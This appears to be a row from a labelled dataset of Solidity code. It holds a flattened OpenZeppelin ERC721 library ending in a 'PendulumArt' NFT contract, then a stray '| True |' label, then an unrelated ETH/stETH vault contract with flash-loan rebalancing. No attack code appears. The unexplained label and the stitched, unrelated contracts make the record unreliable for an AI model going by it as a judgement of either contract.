* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.11;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.11;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.11;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.11;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.11;
contract PendulumArt is ERC721, ERC721Enumerable, ERC721URIStorage, ERC721Burnable, Ownable {
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURIextended;
constructor() ERC721("PendulumArt", "PAT") {}
function setBaseURI(string memory baseURI_) external onlyOwner() {
_baseURIextended = baseURI_;
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal override(ERC721URIStorage) virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
function mint(
address _to,
uint256 _tokenId,
string memory tokenURI_
) external onlyOwner() {
_mint(_to, _tokenId);
_setTokenURI(_tokenId, tokenURI_);
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
} | True | [
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//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./helpers.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract AdminModule is Helpers {
modifier onlyAuth() {
require(auth == msg.sender, "only auth");
_;
}
modifier onlyRebalancer() {
require(isRebalancer[msg.sender], "only rebalancer");
_;
}
function updateAuth(address auth_) external onlyAuth {
auth = auth_;
emit updateAuthLog(auth_);
}
function updateRebalancer(address rebalancer_, bool isRebalancer_) external onlyAuth {
isRebalancer[rebalancer_] = isRebalancer_;
emit updateRebalancerLog(rebalancer_, isRebalancer_);
}
function updateRevenueFee(uint newRevenueFee_) external onlyAuth {
uint oldRevenueFee_ = revenueFee;
revenueFee = newRevenueFee_;
emit updateRevenueFeeLog(oldRevenueFee_, newRevenueFee_);
}
function updateWithdrawalFee(uint newWithdrawalFee_) external onlyAuth {
uint oldWithdrawalFee_ = withdrawalFee;
withdrawalFee = newWithdrawalFee_;
emit updateWithdrawalFeeLog(oldWithdrawalFee_, newWithdrawalFee_);
}
function updateRatios(uint16[] memory ratios_) external onlyAuth {
ratios = Ratios(ratios_[0], ratios_[1], ratios_[2], uint128(ratios_[3]) * 1e23);
emit updateRatiosLog(ratios_[0], ratios_[1], ratios_[2], uint128(ratios_[3]) * 1e23);
}
function changeStatus(uint status_) external onlyAuth {
_status = status_;
emit changeStatusLog(status_);
}
}
contract CoreHelpers is AdminModule {
using SafeERC20 for IERC20;
function updateStorage(
uint256 exchangePrice_,
uint256 newRevenue_
) internal {
if (exchangePrice_ > lastRevenueExchangePrice) {
lastRevenueExchangePrice = exchangePrice_;
revenue = revenue + newRevenue_;
}
}
function supplyInternal(
address token_,
uint256 amount_,
address to_,
bool isEth_
) internal returns (uint256 vtokenAmount_) {
require(amount_ != 0, "amount cannot be zero");
(
uint256 exchangePrice_,
uint256 newRevenue_
) = getCurrentExchangePrice();
updateStorage(exchangePrice_, newRevenue_);
if (isEth_) {
wethCoreContract.deposit{value: amount_}();
} else {
if (token_ == stEthAddr) {
IERC20(token_).safeTransferFrom(msg.sender, address(this), amount_);
} else if (token_ == wethAddr) {
IERC20(token_).safeTransferFrom(msg.sender, address(this), amount_);
} else {
revert("wrong-token");
}
}
vtokenAmount_ = (amount_ * 1e18) / exchangePrice_;
_mint(to_, vtokenAmount_);
emit supplyLog(token_, amount_, to_);
}
function withdrawHelper(
uint amount_,
uint limit_
) internal pure returns (
uint,
uint
) {
uint transferAmt_;
if (limit_ > amount_) {
transferAmt_ = amount_;
amount_ = 0;
} else {
transferAmt_ = limit_;
amount_ = amount_ - limit_;
}
return (amount_, transferAmt_);
}
function withdrawFinal(
uint amount_
) public view returns (uint[] memory transferAmts_) {
require(amount_ > 0, "amount-invalid");
(uint netCollateral_, uint netBorrow_, BalVariables memory balances_,,) = netAssets();
uint ratio_ = netCollateral_ > 0 ? (netBorrow_ * 1e4) / netCollateral_ : 0;
require(ratio_ < ratios.maxLimit, "already-risky"); // don't allow any withdrawal if Aave position is risky
require(amount_ < balances_.totalBal, "excess-withdrawal");
transferAmts_ = new uint[](4);
if (balances_.wethVaultBal > 10) {
(amount_, transferAmts_[0]) = withdrawHelper(amount_, balances_.wethVaultBal);
}
if (balances_.wethDsaBal > 10 && amount_ > 0) {
(amount_, transferAmts_[1]) = withdrawHelper(amount_, balances_.wethDsaBal);
}
if (balances_.stethVaultBal > 10 && amount_ > 0) {
(amount_, transferAmts_[2]) = withdrawHelper(amount_, balances_.stethVaultBal);
}
if (balances_.stethDsaBal > 10 && amount_ > 0) {
(amount_, transferAmts_[3]) = withdrawHelper(amount_, balances_.stethDsaBal);
}
}
function withdrawTransfers(uint amount_, uint[] memory transferAmts_) internal returns (uint wethAmt_, uint stEthAmt_) {
wethAmt_ = transferAmts_[0] + transferAmts_[1];
stEthAmt_ = transferAmts_[2] + transferAmts_[3];
uint totalTransferAmount_ = wethAmt_ + stEthAmt_;
// adding final condition in the end in case we fucked up anywhere in above function then this will surely fail
// Makes the chances of having a bug to lose asset 0 in withdrawFinal()
require(amount_ == totalTransferAmount_, "transfers-not-valid");
// batching up spells and withdrawing all the required asset from DSA to vault at once
uint i;
uint j;
if (transferAmts_[1] > 0 && transferAmts_[3] > 0) {
i = 2;
} else if (transferAmts_[3] > 0 || transferAmts_[1] > 0) {
i = 1;
} else {
return (wethAmt_, stEthAmt_);
}
string[] memory targets_ = new string[](i);
bytes[] memory calldata_ = new bytes[](i);
if (transferAmts_[1] > 0) {
targets_[j] = "BASIC-A";
calldata_[j] = abi.encodeWithSignature("withdraw(address,uint256,address,uint256,uint256)", wethAddr, transferAmts_[1], address(this), 0, 0);
j++;
}
if (transferAmts_[3] > 0) {
targets_[j] = "BASIC-A";
calldata_[j] = abi.encodeWithSignature("withdraw(address,uint256,address,uint256,uint256)", stEthAddr, transferAmts_[3], address(this), 0, 0);
j++;
}
if (i > 0) vaultDsa.cast(targets_, calldata_, address(this));
}
}
contract InstaVaultImplementation is CoreHelpers {
using SafeERC20 for IERC20;
function supplyEth(address to_) external payable nonReentrant returns (uint vtokenAmount_) {
uint amount_ = msg.value;
vtokenAmount_ = supplyInternal(
ethAddr,
amount_,
to_,
true
);
}
function supply(
address token_,
uint256 amount_,
address to_
) external nonReentrant returns (uint256 vtokenAmount_) {
vtokenAmount_ = supplyInternal(
token_,
amount_,
to_,
false
);
}
// gives preference to weth in case of withdrawal
function withdraw(
uint256 amount_,
address to_
) external nonReentrant returns (uint256 vtokenAmount_) {
require(amount_ != 0, "amount cannot be zero");
(
uint256 exchangePrice_,
uint256 newRevenue_
) = getCurrentExchangePrice();
updateStorage(exchangePrice_, newRevenue_);
if (amount_ == type(uint).max) {
vtokenAmount_ = balanceOf(msg.sender);
amount_ = vtokenAmount_ * exchangePrice_ / 1e18;
} else {
vtokenAmount_ = (amount_ * 1e18) / exchangePrice_;
}
_burn(msg.sender, vtokenAmount_);
uint256 fee_ = amount_ * withdrawalFee / 10000;
uint256 amountAfterFee_ = amount_ - fee_;
uint[] memory transferAmts_ = withdrawFinal(amountAfterFee_);
(uint wethAmt_, uint stEthAmt_) = withdrawTransfers(amountAfterFee_, transferAmts_);
if (wethAmt_ > 0) {
// withdraw weth and sending ETH to user
wethCoreContract.withdraw(wethAmt_);
Address.sendValue(payable(to_), wethAmt_);
}
if (stEthAmt_ > 0) stEthContract.safeTransfer(to_, stEthAmt_);
emit withdrawLog(amount_, to_);
}
struct RebalanceOneVariables {
uint stETHBal_;
string[] targets;
bytes[] calldatas;
bool[] checks;
}
// rebalance for leveraging
function rebalanceOne(
address flashTkn_,
uint flashAmt_,
uint route_,
uint excessDebt_,
uint paybackDebt_,
uint totalAmountToSwap_,
uint extraWithdraw_,
uint unitAmt_,
bytes memory oneInchData_
) external nonReentrant onlyRebalancer {
if (excessDebt_ < 1e14) excessDebt_ = 0;
if (paybackDebt_ < 1e14) paybackDebt_ = 0;
if (totalAmountToSwap_ < 1e14) totalAmountToSwap_ = 0;
if (extraWithdraw_ < 1e14) extraWithdraw_ = 0;
require(!(excessDebt_ > 0 && paybackDebt_ > 0), "cannot-borrow-and-payback-at-once");
require(!(totalAmountToSwap_ > 0 && paybackDebt_ > 0), "cannot-swap-and-payback-at-once");
RebalanceOneVariables memory v_;
BalVariables memory balances_ = getIdealBalances();
if (balances_.wethVaultBal > 1e14) wethContract.safeTransfer(address(vaultDsa), balances_.wethVaultBal);
if (balances_.stethVaultBal > 1e14) stEthContract.safeTransfer(address(vaultDsa), balances_.stethVaultBal);
v_.stETHBal_ = balances_.stethVaultBal + balances_.stethDsaBal;
if (v_.stETHBal_ < 1e14) v_.stETHBal_ = 0;
uint i;
uint j;
if (excessDebt_ > 0) j += 6;
if (paybackDebt_ > 0) j += 1;
if (v_.stETHBal_ > 0 && excessDebt_ == 0) j += 1;
if (extraWithdraw_ > 0) j += 2;
v_.targets = new string[](j);
v_.calldatas = new bytes[](j);
if (excessDebt_ > 0) {
require(unitAmt_ > (1e18 - 10), "invalid-unit-amt");
require(totalAmountToSwap_ > 0, "invalid-swap-amt");
v_.targets[0] = "AAVE-V2-A";
v_.calldatas[0] = abi.encodeWithSignature("deposit(address,uint256,uint256,uint256)", flashTkn_, flashAmt_, 0, 0);
v_.targets[1] = "AAVE-V2-A";
v_.calldatas[1] = abi.encodeWithSignature("borrow(address,uint256,uint256,uint256,uint256)", wethAddr, excessDebt_, 2, 0, 0);
v_.targets[2] = "1INCH-A";
v_.calldatas[2] = abi.encodeWithSignature("sell(address,address,uint256,uint256,bytes,uint256)", stEthAddr, wethAddr, totalAmountToSwap_, unitAmt_, oneInchData_, 0);
v_.targets[3] = "AAVE-V2-A";
v_.calldatas[3] = abi.encodeWithSignature("deposit(address,uint256,uint256,uint256)", stEthAddr, type(uint).max, 0, 0);
v_.targets[4] = "AAVE-V2-A";
v_.calldatas[4] = abi.encodeWithSignature("withdraw(address,uint256,uint256,uint256)", flashTkn_, flashAmt_, 0, 0);
v_.targets[5] = "INSTAPOOL-C";
v_.calldatas[5] = abi.encodeWithSignature("flashPayback(address,uint256,uint256,uint256)", flashTkn_, flashAmt_, 0, 0);
i = 6;
}
if (paybackDebt_ > 0) {
v_.targets[i] = "AAVE-V2-A";
v_.calldatas[i] = abi.encodeWithSignature("payback(address,uint256,uint256,uint256,uint256)", wethAddr, paybackDebt_, 2, 0, 0);
i++;
}
if (v_.stETHBal_ > 0 && excessDebt_ == 0) {
v_.targets[i] = "AAVE-V2-A";
v_.calldatas[i] = abi.encodeWithSignature("deposit(address,uint256,uint256,uint256)", stEthAddr, type(uint).max, 0, 0);
i++;
}
if (extraWithdraw_ > 0) {
v_.targets[i] = "AAVE-V2-A";
v_.calldatas[i] = abi.encodeWithSignature("withdraw(address,uint256,uint256,uint256)", stEthAddr, extraWithdraw_, 0, 0);
v_.targets[i + 1] = "BASIC-A";
v_.calldatas[i + 1] = abi.encodeWithSignature("withdraw(address,uint256,address,uint256,uint256)", stEthAddr, extraWithdraw_, address(this), 0, 0);
}
if (excessDebt_ > 0) {
bytes memory encodedFlashData_ = abi.encode(v_.targets, v_.calldatas);
string[] memory flashTarget_ = new string[](1);
bytes[] memory flashCalldata_ = new bytes[](1);
flashTarget_[0] = "INSTAPOOL-C";
flashCalldata_[0] = abi.encodeWithSignature("flashBorrowAndCast(address,uint256,uint256,bytes,bytes)", flashTkn_, flashAmt_, route_, encodedFlashData_, "0x");
vaultDsa.cast(flashTarget_, flashCalldata_, address(this));
require(getWethBorrowRate() < ratios.maxBorrowRate, "high-borrow-rate");
} else {
if (j > 0) vaultDsa.cast(v_.targets, v_.calldatas, address(this));
}
v_.checks = new bool[](3);
(v_.checks[0], v_.checks[1], v_.checks[2]) = validateFinalRatio();
if (excessDebt_ > 0) require(v_.checks[1], "final assets after leveraging");
if (extraWithdraw_ > 0) require(v_.checks[0], "position risky");
emit rebalanceOneLog(flashTkn_, flashAmt_, route_, excessDebt_, paybackDebt_, totalAmountToSwap_, extraWithdraw_, unitAmt_);
}
// rebalance for saving. To be run in times of making position less risky or to fill up the withdraw amount for users to exit
function rebalanceTwo(
uint withdrawAmt_,
address flashTkn_,
uint flashAmt_,
uint route_,
uint saveAmt_,
uint unitAmt_,
bytes memory oneInchData_
) external nonReentrant onlyAuth {
string[] memory targets_ = new string[](6);
bytes[] memory calldata_ = new bytes[](6);
targets_[0] = "AAVE-V2-A";
calldata_[0] = abi.encodeWithSignature("deposit(address,uint256,uint256,uint256)", flashTkn_, flashAmt_, 0, 0);
targets_[1] = "AAVE-V2-A";
calldata_[1] = abi.encodeWithSignature("withdraw(address,uint256,uint256,uint256)", stEthAddr, (saveAmt_ + withdrawAmt_), 0, 0);
targets_[2] = "1INCH-A";
calldata_[2] = abi.encodeWithSignature("sell(address,address,uint256,uint256,bytes,uint256)", wethAddr, stEthAddr, saveAmt_, unitAmt_, oneInchData_, 0);
targets_[3] = "AAVE-V2-A";
calldata_[3] = abi.encodeWithSignature("payback(address,uint256,uint256,uint256,uint256)", wethAddr, 0, 2, type(uint).max, 0);
targets_[4] = "AAVE-V2-A";
calldata_[4] = abi.encodeWithSignature("withdraw(address,uint256,uint256,uint256)", flashTkn_, flashAmt_, 0, 0);
targets_[5] = "INSTAPOOL-C";
calldata_[5] = abi.encodeWithSignature("flashPayback(address,uint256,uint256,uint256)", flashTkn_, flashAmt_, 0, 0);
bytes memory encodedFlashData_ = abi.encode(targets_, calldata_);
string[] memory flashTarget_ = new string[](1);
bytes[] memory flashCalldata_ = new bytes[](1);
flashTarget_[0] = "INSTAPOOL-C";
flashCalldata_[0] = abi.encodeWithSignature("flashBorrowAndCast(address,uint256,uint256,bytes,bytes)", flashTkn_, flashAmt_, route_, encodedFlashData_, "0x");
vaultDsa.cast(flashTarget_, flashCalldata_, address(this));
(bool isOk_,,) = validateFinalRatio();
require(isOk_, "position-not-risky");
emit rebalanceTwoLog(withdrawAmt_, flashTkn_, flashAmt_, route_, saveAmt_, unitAmt_);
}
/*
Deprecated
*/
// function initialize(
// string memory name_,
// string memory symbol_,
// address auth_,
// address rebalancer_,
// uint256 revenueFee_,
// uint16[] memory ratios_
// ) public initializer {
// address vaultDsaAddr_ = instaIndex.build(address(this), 2, address(this));
// vaultDsa = IDSA(vaultDsaAddr_);
// __ERC20_init(name_, symbol_);
// auth = auth_;
// isRebalancer[rebalancer_] = true;
// revenueFee = revenueFee_;
// lastRevenueExchangePrice = 1e18;
// // sending borrow rate in 4 decimals eg:- 300 meaning 3% and converting into 27 decimals eg:- 3 * 1e25
// ratios = Ratios(ratios_[0], ratios_[1], ratios_[2], uint128(ratios_[3]) * 1e23);
// }
receive() external payable {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./events.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Helpers is Events {
using SafeERC20 for IERC20;
modifier nonReentrant() {
